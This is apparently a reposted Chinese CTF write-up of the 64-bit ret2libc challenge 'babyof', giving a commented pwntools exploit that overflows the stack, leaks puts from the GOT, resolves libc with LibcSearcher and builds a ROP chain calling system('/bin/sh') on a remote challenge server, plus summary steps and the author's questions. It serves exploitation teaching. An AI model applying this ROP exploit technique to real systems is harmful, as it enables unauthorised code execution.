【PWN · ret2libc】[2021 鹤城杯]babyof

news2024/11/20 11:30:22

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点

目录

前言

一、题目重述

二、exp(思考与理解在注释)

三、经验总结

攻击步骤:

注意要点 

四、疑问 


前言

64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。

过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')

一、题目重述

很明显存在栈溢出。而动态链接、不存在system、不存在'/bin/sh',说明是ret2libc无疑了。 


二、exp(思考与理解在注释)

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库

elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")

pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)

io=remote("node4.anna.nssctf.cn",28715)  #远程连接

payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出

io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。

#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) 

io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

关于plt/got和ret的获取方式,可以通过ROPgadget以及pwntools中ELF或者gdb调试获得。

当然IDA的反汇编也是非常重要的。


三、经验总结

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

        a、求libc的基地址(函数动态地址-函数偏移量)

        b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

注意要点 

  • 64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的;32位Linux是用栈传递参数的
  • libc已知的情况,可以通过反编译libc获取地址,也可以用pwntools的ELF类来获取
  • libc未知的情况下,需要确定libc的版本号,在线查找libc database search (blukat.me) 
  • 可以使用LibSearcher库极大方便地确定libc、确定libc基址、确定函数真实地址
  • 64位下,参数可通过pop_reg+value的方式,把value传入reg以备作参数
  • obj = LibcSearcher("gets",gets_real_addr)
    libcbase = gets_real_addr – obj.dump("gets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

四、疑问 

  • exp下的程序执行流究竟是怎么样的?
  • payload1/2都在最后加了main_addr,第一个是为了重新栈溢出(吧?),第二个呢是为了程序能够正常退出吗?
  • 大佬们的wp,都自然而然加了ret——不加会出错,ret的作用是什么,从哪里返回到哪里?这应该还是与程序控制执行流的实际情况有关吧。求解答!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/591254.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python中怎么转置矩阵

Python中怎么转置矩阵 在Python中,我们可以轻松地实现矩阵的转置操作。矩阵转置是指将矩阵的行列互换,即将矩阵的行转换为列,将列转换为行。这种操作在数据处理和科学计算中是很常见的,因此我们需要了解如何在Python中进行矩阵转…

人工智能粒子群优化三大算法

粒子群优化是以邻域原理(neighborhood principle)为基础进行操作的,该原理来源于社会网络结构研究中。驱动粒子群优化的特性是社会交互作用。群中的个体(粒子)相互学习,而且基于获得的知识移动到更相似于它…

6.S081——补充材料——RISC-V架构中的异常与中断详解

0.briefly speaking 我在阅读Xv6源码过程中对很多概念感到困惑,想到也许会有其他人对此秉持同样的困惑,所以我将我的研究和学习过程总结下来并编篡成如下的博客。本篇博客想对RISC-V标准中有关中断和异常的概念进行一个梳理,考虑RISC-V标准的…

root 密码破解(rd.break)

在Linux系统中,忘记root密码时,可以用此方法进行暴力修改root密码 示例: 设置一个新的记不住的密码 $ echo cnakdnvf | passwd --stdin root $ poweroff 1.启动此虚拟机,选中以下行,并按 【 e 】进入内核编辑页面 …

【Leetcode -746.使用最小花费爬楼梯 -747.至少是其他数字两倍的最大数】

Leetcode Leetcode -746.使用最小花费爬楼梯Leetcode -747.至少是其他数字两倍的最大数 Leetcode -746.使用最小花费爬楼梯 题目:给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择…

数电/数字电子技术期末考前突击复习(小白稳过,看这一篇就够了)

博主:命运之光 专栏:期末考试必过and不挂科and争高分😶‍🌫️还有其他科目的考试突击日后会陆续更新 ✨✨✨✨✨点赞,关注,收藏不迷路✨✨✨✨✨ 🦄前言:总结了期末数电大概率可能…

MySQL进阶 -存储引擎

目录 存储引擎MySQL的体系结构存储引擎简介InnoDB存储引擎MyISAM存储引擎Memory存储引擎InnoDB,MyISAM和Memory的区别存储引擎的选择小结 存储引擎 MySQL的体系结构 MySQL的体系结构图: MySQL服务端的体系结构(MySQL Server)&am…

自动化测试经典面试题-定位不到元素

元素定位常见的面试相关问题 一、元素定位1、Selenium/Appium定位方法有几种?分别是?2、如何通过子元素定位父元素 二、元素定位不到1、定位不到元素是什么原因导致的?2、如何定位动态元素3、有的元素就加载页面上,但是你却定位不…

Rust 笔记:有限状态机原理/状态模式 及其 在Rust 编程中的应用

Rust 笔记、设计模式 有限状态机原理及其在Rust 编程中的应用 作者:李俊才 (jcLee95):https://blog.csdn.net/qq_28550263?spm1001.2101.3001.5343 邮箱 :291148484163.com 本文地址:https://blog.csdn.ne…

chatgpt赋能python:Python中拷贝的介绍

Python 中拷贝的介绍 在 Python 中,拷贝是一个十分常见而且必要的操作。拷贝可以在许多情况下被使用,例如在创建测试数据、编写一个新的算法时,或者是在处理多维数据结构的程序中。由于 Python 中的对象是动态类型的,因此在拷贝时…

IDEA 安装配置步骤详解

引言 IntelliJ IDEA 是一款功能强大的集成开发环境,它具有许多优势,适用于各种开发过程。本文将介绍 IDEA 的主要优势,并提供详细的安装配置步骤。 介绍 IntelliJ IDEA(以下简称 IDEA)之所以被广泛使用,…

Linux系统下imx6ull QT编程—— C++基础(一)

Linux QT编程 文章目录 Linux QT编程前言一、 C的输入输出方式1.cout语法形式2.cin语法形式3.C之命名空间 namespace 前言 学习 C的面向对象编程,对学习 Qt 有很大的帮助 一、 C的输入输出方式 效率上,肯定是 C 语言的 scanf 和 printf 的效率高&#…

回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测

回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测 目录 回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 MATLAB实现SSA-CNN-GRU麻雀算法优…

代码随想录算法训练营第五十七天 | 回文

647. 回文子串 文档讲解:代码随想录 (programmercarl.com) 视频讲解:动态规划,字符串性质决定了DP数组的定义 | LeetCode:647.回文子串_哔哩哔哩_bilibili 状态:不会做。 思路 确定dp数组(dp table&#xf…

黑马Redis视频教程实战篇(一)

目录 一、短信登录 1.1、导入黑马点评项目 (1)导入黑马点评sql脚本 (2)导入后端项目 (3)导入前端项目 1.2、基于Session实现登录流程 1.3 、实现发送短信验证码功能 1.4 、实现登录拦截功能 1.5 、隐…

C语言——每日一题

1.倒置字符串 倒置字符串 要将每一个单词逆序输出,首先可以将整个字符串内容都逆序输出,然后再将字符串中的每一个单词再进行逆序。 例如:逆序 i like beijing. 先逆序成:.gnijieb ekil i 再将每个单词逆序: beij…

chatgpt赋能python:Python中字符串的转换方法

Python中字符串的转换方法 作为一门非常强大的编程语言,Python在字符串的处理上也有着非常丰富的功能。在Python中,字符串是非常重要的数据类型之一,也是最常用的数据类型之一。字符串在Python中有着很多的用途,比如表示文本数据…

驱动LSM6DS3TR-C实现高效运动检测与数据采集(3)----获取ID

概述 一旦传感器被正确初始化,可以通过SPI或I2C接口向传感器发送读取命令,并接收传感器返回的数据。这个读取过程包括获取LSM6DS3TR传感器提供的加速度计和陀螺仪数据,以及传感器对应的温度信息。 获取数据状态 STATUS_REG (1Eh)是该传感器…

破解mysql用户的密码

假如mysql数据库中有一个 prod_blb 用户,你作为root管理员,想知道它的密码,又不想修改它的密码。这个时候就只能通过获取到 prod_blb 用户加密的密码进程破译 1、MYSQL加密方式 MYSQL数据库的认证密码有两种方式,MYSQL 4.1版本之…

python笔记16_实例练习_二手车折旧分析p1

python数据分析练习,具体数据不放出。 分析实践很简单。目的不是做完,而是讲清楚每一步的目的和连带的知识点(所以才叫学习笔记) 0.数据准备 原始数据格式:csv文件 原始数据结构: 数据格式 字段名 int…